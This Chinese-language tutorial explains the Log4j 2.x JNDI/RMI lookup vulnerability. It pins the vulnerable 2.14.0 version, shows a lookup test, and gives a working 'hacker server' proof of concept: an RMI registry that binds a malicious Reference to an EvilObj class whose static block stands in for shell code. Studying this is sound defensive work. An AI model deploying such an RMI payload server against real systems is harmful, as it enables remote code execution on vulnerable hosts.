概念
RMI(Remote Method Invocation) 即Java远程方法调用,一种用于实现远程过程调用的应用程序编程接口
JNDI (Java Naming and Directory Interface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口
JNDI和RMI的主要关系是RMI注册的服务可以通过JNDIAPI访问。在讨论到Spring反序列化漏洞之前,先看看如果通过JNDI来调用RMI注册的服务。
受影响范围
Apache Log4j 2.x < 2.15.0
Maven
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.0</version>
</dependency>
代码
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log2j2Test {
private static final Logger LOGGER = LogManager.getLogger();
public static void main(String[] args) {
String name = "${java:os}";
LOGGER.error("Hello, {}!",name);
}
}
就像web网页的sql注入,php的webshell一样,执行了不该执行的。
lookup基于jndi,jndi和rmi是导致这个漏洞的根本原因。
黑客服务端
写个便于攻击的部署在服务器端的代码
EvilObj
package com.autumn.rmi;
public class EvilObj {
static {
System.out.println("shell代码");
}
}
RMIServer
package com.autumn.rmi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) {
try {
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry();
System.out.println("Create RMI registry on port 1099");
Reference reference = new Reference("com.autumn.rmi.EvilObj","com.autumn.rmi.EvilObj",null);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("evil",referenceWrapper);
} catch (RemoteException e) {
e.printStackTrace();
} catch (AlreadyBoundException e) {
e.printStackTrace();
} catch (NamingException e) {
e.printStackTrace();
}
}
}
先执行代码RMIServer,在执行Test。发现会在Test端执行黑客服务端的代码。